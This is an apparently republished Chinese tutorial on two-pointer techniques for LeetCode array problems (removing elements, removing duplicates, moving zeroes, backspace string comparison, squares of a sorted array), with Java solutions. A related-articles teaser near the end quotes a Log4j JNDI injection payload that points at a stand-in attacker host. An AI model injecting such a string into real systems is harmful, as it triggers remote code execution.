【算法系列-数组】移除元素 (双指针)

news2024/9/27 18:57:21

【算法系列-数组】移除元素 (双指针)

文章目录

  • 【算法系列-数组】移除元素 (双指针)
    • 1. 算法分析🛸
    • 2. 删除有序数组中的重复性(LeetCode 26)
      • 2.1 解题思路🎯
      • 2.2 解题过程🎬
      • 2.3 代码举例🌰
    • 3. 移动零(LeetCode 283)
      • 3.1 解题思路🎯
      • 3.2 解题过程🎬
      • 3.3 代码举例🌰
    • 4. 比较含退格的字符串(LeetCode 844)
      • 4.1 解题思路🎯
      • 4.2 解题过程🎬
      • 4.3 代码举例🌰
    • 5. 有效数组的平方(LeetCode 977)
      • 5.1 解题思路🎯
      • 5.2 解题过程🎬
      • 5.3 代码举例🌰

1. 算法分析🛸

移除元素这类题的解题思路在于你能否在数组中找到val(这个val有很多种形式,并不是固定的值),并将其按照要求进行移除;

最简单的方法就是通过暴力解决,通过多重循环暴力移除,但这样的代码时间复杂度就会高一些;对此,我们可以使用双指针的方式来解决这类问题:
【题目链接】

定义两个指针:

快指针:用来寻找符合新数组要求的元素

慢指针:用来将旧数组中的元素更新为符合新数组要求的元素

通过循环遍历,让fast指针依次遍历整个旧数组,每找到与val不同的元素(即符合新数组要求),就将这个元素更新到slow指针所在的位置上,然后将slow++,循环结束后slow指针所在位置下标便是整个新数组的数组长度

代码如下

class Solution {
    public int removeElement(int[] nums, int val) {
        int slow = 0;
        for (int fast = 0;fast < nums.length;fast++) {
            if (nums[fast] != val) {
                nums[slow++] = nums[fast];
            }
        }
        return slow;
    }
}

掌握了解题思路后,提供以下几道类型相似的题用来练习:

2. 删除有序数组中的重复性(LeetCode 26)

【题目链接】

2.1 解题思路🎯

双指针

2.2 解题过程🎬

定义两个指针 + 变量val:

快指针:用来寻找未重复出现的元素

慢指针:用来将重复元素更新为未重复出现的元素 val:用来记录最近一次更新的元素 (最开始与数组首元素不一样即可)

通过循环遍历,让fast指针依次遍历整个数组,每找到与val不同的元素,就将这个元素更新到slow指针所在的位置上,然后将slow++,同时更新 val 为 原slow位置更新后的元素,循环重复上述过程,循环结束后slow指针所在位置下标便是整个新数组的数组长度

2.3 代码举例🌰

class Solution {
    public int removeDuplicates(int[] nums) {
        int val = nums[0] + 1;
        int slow = 0;
        for (int fast = 0;fast < nums.length;fast++) {
            if (nums[fast] != val) {
                nums[slow++] = nums[fast];
                val = nums[fast];
            }
        }
        return slow;
    }
}

3. 移动零(LeetCode 283)

【题目链接】

3.1 解题思路🎯

双指针

3.2 解题过程🎬

通过定义两个双指针将非零元素都移动到最前面,之后从slow指针所在位置开始遍历一遍数组将后面的值都赋零即可

3.3 代码举例🌰

class Solution {
    public void moveZeroes(int[] nums) {
        int slow = 0;
        for (int fast = 0;fast < nums.length;fast++) {
            if (nums[fast] != 0) {
                nums[slow++] = nums[fast];
            }
        }
        for (int i = slow;i < nums.length;i++) {
            nums[i] = 0;
        }
    }
}

4. 比较含退格的字符串(LeetCode 844)

【题目链接】

4.1 解题思路🎯

通过双指针 + 设置变量判断 # 是否被消费来进行字符串元素的删减

4.2 解题过程🎬

这次的指针需要从后面开始遍历,因为 # 退格元素是往左删的

设置快慢指针,变量k用来记录当前未被消费的 # 数量 :

  • 当nums[fast]不等于 # 且k = 0时,更新nums[slow] = nums[fast],且slow++;
  • 当nums[fast]不等于 # 且k > 0时,k 减 1,slow位置不变,fast继续向前遍历;
  • 当nums[fast]等于 # 时,k 加 1,slow位置不变,fast继续向前遍历;

遍历完数组后,此时slow + 1 位置开始 即为字符串经过退格后的正确字符串,返回结果后进行判断即可

4.3 代码举例🌰

class Solution {
    public boolean backspaceCompare(String s, String t) {
        String s1 = removeChar(s);
        String t1 = removeChar(t);
        if (s1.equals(t1)) {
            return true;
        }
        return false;
    }

    public String removeChar(String str) {
        String[] nums = str.split("");
        int slow = nums.length -1;
        int k = 0;
        for (int fast = nums.length - 1;fast >= 0;fast--) {
            if (!nums[fast].equals("#")) {
                if (k == 0) {
                    nums[slow--] = nums[fast];
                    continue;
                }
                k--;
            }
            else {
                k++;
            }
            
        }
        StringBuffer ret = new StringBuffer("");
        for (int i = slow + 1;i < nums.length;i++) {
            ret.append(nums[i]);
        }
        return ret.toString();
    }
}

5. 有效数组的平方(LeetCode 977)

【题目链接】

这道题比较特殊,不再是使用快慢指针的方式来解决问题,而是用左右双指针

5.1 解题思路🎯

这道题为我们提供的数组是一个有序的数组,要求我们将数组中的元素平方之后再进行排序返回在这里插入图片描述

很快能想到使用循环 + 库函数的方式就能暴力解决这道题:

class Solution {
    public int[] sortedSquares(int[] nums) {
        for (int i = 0;i < nums.length;i++) {
            nums[i] = nums[i] * nums[i];
        }
        Arrays.sort(nums);
        return nums;
    }
}

但这样带来的时间复杂度为是O(n + nlogn),有没有更高效的方法?可以用双指针✅

在这道题中,我们需要抓住一个关键点

有序数组中元素平方后的最大值一定是由原数组最左边或者最右边的元素的提供的

找到这个关键点后,我们就能通过双指针的方式解决这个问题了

5.2 解题过程🎬

定义左右双指针,并创建一个新的数组ret用来返回结果,定义一个指针cur从新数组的最后开始赋值,进行判断:

  • 当左指针元素的平方值后大于右指针元素的平方值,此时ret[cur] = nums[left] * nums[left],同时left++, cur–
  • 当右指针元素的平方值后大于左指针元素的平方值,此时ret[cur] = nums[right] * nums[right],同时right–, cur–

遍历结束后返回赋值后的新数组即可

5.3 代码举例🌰

class Solution {
    public int[] sortedSquares(int[] nums) {
        int left = 0;
        int right = nums.length - 1;
        int[] ret = new int[nums.length];
        int cur = nums.length - 1;
        while (left <= right) {
            int lv = nums[left] * nums[left];
            int rv = nums[right] * nums[right];
            if (lv > rv) {
                ret[cur] = lv;
                left++;
            }
            else {
                ret[cur] = rv;
                right--;
            }
            cur--;
        }
        return ret;
    }
}

以上便是对移除元素类算法的介绍了!!后续还会继续分享其它算法系列内容,如果这些内容对大家有帮助的话请给一个三连关注吧💕( •̀ ω •́ )✧( •̀ ω •́ )✧✨

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2170721.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【java数据结构】泛型

【java数据结构】泛型 一、包装类1.1 基本数据类型对应的包装类1.2 装箱和拆箱 二、泛型2.1 引出泛型2.2 什么是泛型2.3 语法2.3.1 泛型类2.3.2 泛型接口2.3.3 泛型方法 2.4 擦除机制2.5 泛型通配符2.5.1 <?>无限定的通配符2.5.2 <? extends T>上界的通配符2.5.3…

【算法篇】二叉树类(2)(笔记)

目录 一、Leetcode 题目 1. 左叶子之和 &#xff08;1&#xff09;迭代法 &#xff08;2&#xff09;递归法 2. 找树左下角的值 &#xff08;1&#xff09;广度优先算法 &#xff08;2&#xff09;递归法 3. 路径总和 &#xff08;1&#xff09;递归法 &#xff08;2…

移动端自适应/适配方案【详解】(含多种方案对比,推荐 viewport 方案,postcss-px-to-viewport-8-plugin 的使用等)

为什么移动端需要自适应/适配 &#xff1f; 因移动端 屏幕尺寸不同屏幕分辨率不同横竖屏 移动端自适应/适配方案 【必要】设置 meta 标签 <meta name"viewport" content"widthdevice-width, initial-scale1.0, maximum-scale1.0, user-scalable0">…

N930X音乐芯片,声光报警器语音方案:“您已进入警戒区域”

随着科技的飞速发展&#xff0c;城市规模不断扩大&#xff0c;人口密集度显著增加&#xff0c;各类安全隐患也随之而来。从商业楼宇到居民小区&#xff0c;从工业园区到交通枢纽&#xff0c;每一个角落都需要高效、可靠的安防系统来守护人们的生命财产安全。 声光报警器&#…

【ADC】SAR 型 ADC 和 ΔΣ ADC 的噪声源以及输入信号驱动和电压基准驱动电路

本文学习于TI 高精度实验室课程&#xff0c;简要介绍 SAR 型 ADC 和 ΔΣ ADC 的输入信号驱动和电压基准驱动电路&#xff0c;并介绍 SAR 和 Delta-Sigma 转换器的内在和外在噪声源。 文章目录 一、ADC 的外部噪声1.1 50/60 Hz 工频干扰1.2 混叠与抗混叠滤波器1.3 射频&#xf…

博主回归!数据结构篇启动

目录 1>>闲话 2>>数据结构前言 3>>复杂度的概念 4>>时间复杂度 5>>大O渐进表示法 6>>总结 1>>闲话 家人们好久不见&#xff0c;小编军训终于是结束了&#xff0c;大一事情太多了&#xff0c;这几天没时间健身&#xff0c;没时间…

WT2605C蓝牙语音芯片智能对话模型 人机互动 让机械设备更智能

随着人工智能技术的飞速发展&#xff0c;AI语音芯片在机械设备领域的应用日益广泛。WT2605C作为一款集成了在线TTS&#xff08;Text-To-Speech&#xff0c;文本到语音&#xff09;功能的蓝牙语音芯片&#xff0c;凭借其卓越的性能和广泛的应用前景&#xff0c;为机械设备产品带…

Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)

漏洞描述&#xff1a; 当用户输入信息时&#xff0c;应用程序中的log4j 2组件会将信息记录到日志中 假如日志中包含有语句${jndi:ldap:attacker:1099/exp}&#xff0c;log4j就会去解析该信息&#xff0c;通过jndi的lookup() 方法去解析该url&#xff1a;ldap:attacker:1099/e…

vue-实现rtmp直播流

1、安装vue-video-player与videojs-flash npm install vue-video-player -S npm install videojs-flash --save 2、在main.js中引入 3、组件中使用 这样就能实现rtmp直播流在浏览器中播放&#xff0c;但有以下几点切记&#xff0c;不要入坑 1.安装vue-video-player插件一定…

Java.反射

目录 1.获取class 的三种方式 2.利用反射获取构造方法 3.利用反射获取成员变量 4.利用反射获取成员方法 1.获取class 的三种方式 全类名怎么找? 全类名报名&#xff0b;类名 package MyReflect;public class Student {private String id;private String name;private int…

LeetCode Hot100 C++ 哈希 1.两数之和

LeetCode Hot100 C 1.两数之和 给定一个整数数组 nums 和一个整数目标值 target&#xff0c;请你在该数组中找出 和为目标值 target 的那 两个整数&#xff0c;并返回它们的数组下标。 你可以假设每种输入只会对应一个答案&#xff0c;并且你不能使用两次相同的元素。 你可以按…

HTML5实现唐朝服饰网站模板源码

文章目录 1.设计来源1.1 网站首页-界面效果1.2 唐装演变-界面效果1.3 唐装配色-界面效果1.4 唐装花纹-界面效果1.5 唐装文化-界面效果 2.效果和源码2.1 动态效果2.2 源代码 源码下载万套模板&#xff0c;程序开发&#xff0c;在线开发&#xff0c;在线沟通 作者&#xff1a;xcL…

【DP解密多重背包问题】:优化策略与实现

文章目录 什么是多重背包问题&#xff1f;多重背包问题的数学模型 例题多重背包问题Ⅰ多重背包问题Ⅱ 总结 什么是多重背包问题&#xff1f; 多重背包问题是一个经典的组合优化问题。与标准背包问题不同&#xff0c;在多重背包问题中&#xff0c;每种物品可以选择多个&#xf…

数据链路层之以太网

目录 ​前言 什么是以太网&#xff1f; 以太网帧格式 6位源地址和目的地址 什么是MAC地址&#xff1f; MAC地址和IP地址的区别 2位类型 ARP协议 ARP协议的作用 ARP协议的工作流程 数据长度 MTU对IP协议的影响 CRC校验和 前言 在前面&#xff0c;我们已经讲了在TC…

安卓好软-----手机屏幕自动点击工具 无需root权限

工具可以设置后自动点击屏幕。可以用于一些操作。例如自动刷视频等等哦 工具介绍 一款可以帮你实现自动操作的软件。软件中你可以根据实际需要设置点击位置&#xff0c;可以是屏幕上的特定位置&#xff0c;也可以是按钮或控件。功能非常强大&#xff0c;但是操作非常简单&…

7个不为人知的实用软件推荐

今天再给大家分享7款不常被提及但又很好用的小众宝藏软件&#xff0c;强大实用&#xff0c;值得被更多的人看见&#xff01; 1.向日葵——电脑远程控制 下载链接&#xff1a;https://sunlogin.oray.com/ 对于很多电脑小白来说&#xff0c;其实很多软件安装、电脑调试之类的操…

Leetcode面试经典150题-383.赎金信

给你两个字符串&#xff1a;ransomNote 和 magazine &#xff0c;判断 ransomNote 能不能由 magazine 里面的字符构成。 如果可以&#xff0c;返回 true &#xff1b;否则返回 false 。 magazine 中的每个字符只能在 ransomNote 中使用一次。 示例 1&#xff1a; 输入&#…

联宇集团:如何利用CRM实现客户管理精细化与业务流程高效协同

在全球化的浪潮中&#xff0c;跨境电商正成为国际贸易的新引擎。作为领先的跨境电商物流综合服务商&#xff0c;广东联宇物流有限公司(以下称“联宇集团”)以其卓越的物流服务和前瞻的数字化战略&#xff0c;在全球市场中脱颖而出。本文将基于联宇集团搭建CRM系统的实际案例&am…

链表以及字符串数据求和及乘积问题

目录 ​编辑 <->本篇简介&#xff1a; <二>题目解析解答&#xff1a; 21大数乘法问题&#xff1a; ①题目&#xff1a; ②思路汇总&#xff1a; ③解答代码&#xff1a; 22 大数加法问题&#xff1a; ①题目&#xff1a; ②思路汇总&#xff1a; ③解答…

【数据结构中的哈希】

泛黄的春联还残留在墙上.......................................................................................................... 文章目录 前言 一、【哈希结构的介绍】 1.1【哈希结构的概念】 1.2【哈希冲突】 1.3【哈希函数的设计】 1.4【应对哈希冲突的办法】 一、…